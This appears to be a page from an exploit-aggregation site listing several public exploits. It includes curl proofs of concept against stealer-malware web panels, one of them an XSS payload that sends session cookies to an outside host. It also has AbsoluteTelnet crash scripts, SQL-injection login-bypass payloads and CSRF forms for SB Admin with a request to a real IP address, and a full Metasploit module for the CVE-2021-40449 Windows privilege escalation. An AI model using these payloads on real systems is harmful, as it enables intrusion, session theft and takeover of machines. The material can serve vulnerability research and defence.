Latest exploits :: CodePwn

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_C.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Win32.MarsStealer Web Panel Vulnerability: Unauthenticated Remote Data Deletion Description: The Mars-Stealer web interface has a "Grab Rules" component area that lets a user specify which type of files to collect from a system as specified in the "grab_manual.txt" manual. Third-party attackers who can reach the Mars-Stealer server can send an HTTP POST request to delete any grab rule from the "mars" MySQL database grabrule table. PHP code snippet "markeractions.php" require_once '../../db.php'; switch (trim($_POST['func'])) { case "markeradd": markeradd(); break; case "markerdelete": markerdelete(); break; case "markeractive": markeractive(); break; } Type: WebUI MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe) MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php) Vuln ID: MVID-2022-0453 Disclosure: 01/15/2022 Exploit/PoC: c:/>curl http://MARS_STEALER_SERVER/mars/panel/includes/grabactions.php --data "func=grabdelete&id=1" "deleted" Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Exploit Title: AbsoluteTelnet 11.24 - 'Phone' Denial of Service (PoC) # Discovered by: Yehia Elghaly # Discovered Date: 2021-11-10 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe # Tested Version: 11.24 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64 # Description: AbsoluteTelnet 11.24 - 'DialUp/Phone' & license name Denial of Service (PoC) # Steps to reproduce: # 1. - Download and install AbsoluteTelnet # 2. - Run the python script and it will create exploit.txt file. # 3. - Open AbsoluteTelnet 11.24 # 4. - "new connection file -> DialUp Connection # 5. - Paste the characters of txt file to "DialUp -> phone" # 6. - press "ok" button # 7. - Crashed # 8. - Reopen AbsoluteTelnet 11.24 # 9. - Copy the same characters to "license name" # 10.- Click "Send Error Report" button # 11.- Crashed #!/usr/bin/python exploit = 'A' * 1000 try: file = open("exploit.txt","w") file.write(exploit) file.close() print("POC is created") except: print("POC not created") ------ # Exploit Title: AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC) # Discovered by: Yehia Elghaly # Discovered Date: 2021-11-10 # Vendor Homepage: https://www.celestialsoftware.net/ # Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe # Tested Version: 11.24 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64 # Description: AbsoluteTelnet 11.24 - 'SHA1/SHA2/Username' and 'Error Report' Denial of Service (PoC) # Steps to reproduce: # 1. - Download and install AbsoluteTelnet # 2. - Run the python script and it will create exploit.txt file. # 3. - Open AbsoluteTelnet 11.24 # 4. - "new connection file -> Connection -> SSH1 & SSH2" # 5. - Paste the characters of txt file to "Authentication -> Username" # 6. - press "ok" button # 7. - Crashed # 8. - Reopen AbsoluteTelnet 11.24 # 9. - Copy the same characters to "Your Email Address (optional)" # 10.- Click "Send Error Report" button # 11.- Crashed #!/usr/bin/python exploit = 'A' * 1000 try: file = open("exploit.txt","w") file.write(exploit) file.close() print("POC is created") except: print("POC not created") </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Win32.MarsStealer Web Panel Vulnerability: Unauthenticated Remote Persistent XSS Description: The Mars-Stealer web interface has a "Marker Rules" component area. Third-party attackers who can reach the Mars-Stealer server can send HTTP POST requests injecting arbitrary JS code into the "mars" MySql database in the markerrule table. This results in a persistent cross site scripting condition, executing client side code in the security context of the currently logged on user anytime the WebUI is accessed. This can result in PHPSESSID token and data theft or GEO location disclosure of the user accessing the Mars-Stealer WebUI. PHP code snippet "markeractions.php" require_once '../../db.php'; switch (trim($_POST['func'])) { case "markeradd": markeradd(); break; case "markerdelete": markerdelete(); break; case "markeractive": markeractive(); break; } Type: WebUI MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe) MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php) Vuln ID: MVID-2022-0452 Disclosure: 01/15/2022 Exploit/PoC: curl http://MARS_STEALER/mars/panel/includes/markeractions.php --data "func=markeradd&name=/%3C%3Cscript%3Ealert(document.cookie)%3C/script%3E&marker=WWW.MALVULN.com" Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>$$$$$$$\ $$ __$$\ $$ | $$ |$$\ $$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$ |$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ _____| $$ ____/ $$ | $$ | $$ |$$ | $$ | $$$$$$$$ |$$ / $$ | $$ | $$ | $$ |$$ | $$ | $$ ____|$$ | $$ | \$$$$$\$$$$ |$$ | $$ |$$\\$$$$$$$\ \$$$$$$$\ \__| \_____\____/ \__| \__|\__|\_______| \_______| Offensive Security Community [Ecuador] Credits & Authors: ================== Taurus Omar - @TaurusOmar_ (whoami@taurusomar) [taurusomar.com] Document Title: =============== SB Admin Bootstrap CSRF / Sqli Vulnerability / Bypasss Login Access Severity Level: =============== High Google & Bing Dorks =================== intitle:SB Admin - login intitle:SB Admin 2 - login Affect =================== Araound: 1 Millions of sites Vulnerability Reported Timeline: ================================== 2021-31-07: Reported Vulnerability Disclosure Timeline: ================================== 2022-15-01: Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== SB Admin SB Admin 2 Product & Service Introduction: =============================== SB Admin, a well-known dashboard template recently migrated to Bootstrap 5. This iconic product comes with minimal custom styling using Google's material design patterns and pre-build pages like a dashboard, charts, data tables, and authentication pages, styles along with a variety of plugins to create a powerful framework for creating admin panels, web apps, or dashboard UI's for your next project. The product uses PUG templates, SCSS and JS scripts for compilation and production build (no Gulp or heavier Webpack). Abstract Advisory Information: ============================== An independent researcher discovered Multiple Vulnerabilities in the official aplication SB Admin CSRF Technical Details & Description: ===================================== A client-side cross site request forgery vulnerability has been discovered in the official SB Admin control web-application. The vulnerability allows to execute unauthorized client-side application functions without secure validation or session token protection mechanism. The security risk of the cross site request forgery vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.5. Exploitation of the vulnerability dont requires web-application user account and low user interaction. Successful exploitation of the vulnerability results in unauthorized add or add of SB Admin connect service panel staff.The web vulnerability can be exploited by any attackers. Proof video: ============ https://imgur.com/A6KuhcW Proof of Concept CSRF (PoC-1): ============================== <html> <body> <form action="https://site.com/panel/index.html" method="POST"> <div class="form-group"> <input type="hidden" class="form-control form-control-user" aria-describedby="emailHelp" id="exampleInputEmail1" value="" OR 1 = 1 -- -"" required=""> </div> <div class="form-group"> <input type="hidden" class="form-control form-control-user" id="exampleInputPassword" value="" OR 1 = 1 -- -"" required=""> </div> <div class="form-group"> </div> </div> <button type="submit" class="btn btn-primary btn-user btn-block"> Login </button> </form> Proof of Concept CSRF (PoC-2): ============================== <html> <body> <form action="https://site.com/panel/index.php" method="POST"> <div class="form-group"> <input type="hidden" class="form-control form-control-user" aria-describedby="emailHelp" id="exampleInputEmail1" value="" OR 1 = 1 -- -"" required=""> </div> <div class="form-group"> <input type="hidden" class="form-control form-control-user" id="exampleInputPassword" value="" OR 1 = 1 -- -"" required=""> </div> <div class="form-group"> </div> </div> <button type="submit" class="btn btn-primary btn-user btn-block"> Login </button> </form> Sqli Technical Details & Description: ===================================== The SQL injection attack consists of insertion or “injection” of a SQL query via the input-login data from the client to the application. The successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system. Proof video: ============ https://imgur.com/0Z7vtj4 Payload: ======== usuario=§" OR 1 = 1 UNION ALL SELECT CONCAT(0x716b767671,0x677571554f657363504e4974794a7a4a6e43786b727a45514d5146766f6241706a73716e4c527651,0x7178627071),NULL-- - -- -"§&password=§" OR 1 = 1 -- -"§ BurpSuite ========== POST /requisicao/login.php HTTP/1.1 Host: 186.251.225.174 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: http://186.251.225.174 Referer: http://186.251.225.174/login.html Accept-Encoding: gzip, deflate Accept-Language: es-CO,es;q=0.9 Connection: close usuario=" OR 1 = 1 -- -"&senha=" OR 1 = 1 -- -" Inputs Vulnerabilities ====================== usuario=" OR 1 = 1 -- -"&senha=" OR 1 = 1 -- -" email=" OR 1 = 1 -- -"&password=" OR 1 = 1 -- -" username=" OR 1 = 1 -- -"&password=" OR 1 = 1 -- -" user=" OR 1 = 1 -- -"&pass=" OR 1 = 1 -- -" ####### # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Taurus Omar is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Taurus Omar's # responsibility. # ####### </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Win32.MarsStealer Web Panel Vulnerability: Unauthenticated Remote Information Disclosure Description: The malware web interface stores screen captures named "screenshot.jpg" in the panel directory, ZIP archived. Third-party attackers who can reach the Mars web server can download any screenshots as no valid session or authentication check is done. view.php PHP code. $z = new ZipArchive(); $file ='screenshot.jpg'; $path = $_GET["path"]; if ($z->open(realpath($path))) { $stat = $z->statName($file); $fp = $z->getStream($file); header('Content-Type: image/jpeg'); header('Content-Length: ' . $stat['size']); fpassthru($fp); } else { echo "file not found"; } Type: WebUI MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe) MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php) Vuln ID: MVID-2022-0451 Disclosure: 01/15/2022 Exploit/PoC: curl http://MARSSTEALER_SERVER/mars/panel/view.php?path=screenshot.zip --output screendump.jpg Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, { 'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation', 'Description' => %q{ A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM. This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions of Windows 10 will likely also work. }, 'License' => MSF_LICENSE, 'Author' => [ 'IronHusky', # APT Group who exploited this in the wild 'Costin Raiu', # Initial reporting on bug at SecureList 'Boris Larin', # Initial reporting on bug at SecureList "Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability 'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763 'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module. 'Grant Willcox' # metasploit module ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ] ], 'Payload' => { 'DisableNops' => true }, 'References' => [ [ 'CVE', '2021-40449' ], [ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation [ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup [ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC [ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation. ], 'DisclosureDate' => '2021-10-12', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_OS_RESTARTS, ], 'Reliability' => [ REPEATABLE_SESSION, ], 'SideEffects' => [] } } ) ) end def check sysinfo_value = sysinfo['OS'] if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') end build_num_raw = cmd_exec('cmd.exe /c ver') build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/) if build_num.nil? print_error("Couldn't retrieve the target's build number!") else build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0] print_status("Target's build number: #{build_num}") end # see https://docs.microsoft.com/en-us/windows/release-information/ unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/ return CheckCode::Safe('Target is not running a vulnerable version of Windows!') end build_num_gemversion = Rex::Version.new(build_num) # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/ if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11 return CheckCode::Appears('Vulnerable Windows 11 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022 return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2 return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1 return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2 return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1 return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909 return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903 return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809 return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803 return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709 return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703 return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607 return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511 return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!') elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507 return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!') elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2 return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!') elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012 return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!') elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2 return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!') elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2 return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!') else return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!') end end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 fail_with(Failure::NoTarget, 'Running against WOW64 is not supported') elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') end encoded_payload = payload.encoded execute_dll( ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'), [encoded_payload.length].pack('I<') + encoded_payload ) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/9e44c10307aa8194753896ecf8102167.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Ab Stealer Web Panel Vulnerability: Unauthenticated Remote Persistent XSS Description: The "Ab Stealer" web Panel By KingDomSc for "AbBuild v.1.0.exe" is used to browse victim information "Get All Victims Passwords, With One Click". Third-party attackers who can reach the "Ab Stealer" server can write plaintext files to Panel\psw, injecting persistent Cross Site Scripting payloads without the need for authentication. The XSS payloads will execute whenever an "Ab Stealer" admin visits the Web UI or clicks an infected link to view victim information. The sending of HTTP POST requests to POST.php write files "ip-1.txt, ip-2.txt" etc to the "psw" dir. These textfiles typically contain victim information IP, Computername, Country, Date. However, since the PHP code has no security we can inject malicious client side Javascript instead. This can result in data theft and disclosure of the PHPSESSID token or GEO location disclosure for a logged on user of the "Ab Stealer" Web Panel etc. Ab Stealers POST.php file doesn't sanitize input for HTTP GET requests, when writing user supplied data to files to it's "psw" web directory. E.g. if (isset($_GET['online'])) { $path = 'psw'; $files = array_diff(scandir($path), array('.', '..')); $CountFiles = count($files) + 1; $FileName = 'ip-'.$CountFiles.'.txt'; $ip = $_POST['ip']; $computername = $_POST['computername']; $installdate = $_POST['installdate']; $country = $_POST['country']; $FFD = '{"ip":"'.$ip.'","computername":"'.$computername.'","country":"'.$country.'","date":"'.$installdate.'"}'; $myfile = fopen('psw/'.$FileName, "w") or die("Unable to open file!"); fwrite($myfile, $FFD); fclose($myfile); echo $CountFiles; } Moreover, Panel.php doesn't use htmlspecialchars OR htmlentities, to properly escape output when echoing untrusted user supplied data. Type: WebUI MD5: 9e44c10307aa8194753896ecf8102167 (AbBuild v.1.0.exe) MD5: 017925cad9c4eb2c102053cbba04129e (index.php) Vuln ID: MVID-2022-0450 Disclosure: 01/15/2022 Exploit/PoC: 1) Create the psw directory as the Panel setup doesn't create it when installing 2) curl.exe http://AB_STEALER_SERVER/Panel/POST.php?online=1 --data "ip=x.x.x.x&computername='%3Cscript%3Ewindow.open('http://malvuln.com/stealsess.php?tok='%2bdocument.cookie)%3C/script%3E&installdate=&country=HELL" 3) Visit Ab Stealer Web UI and or click an infected link. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>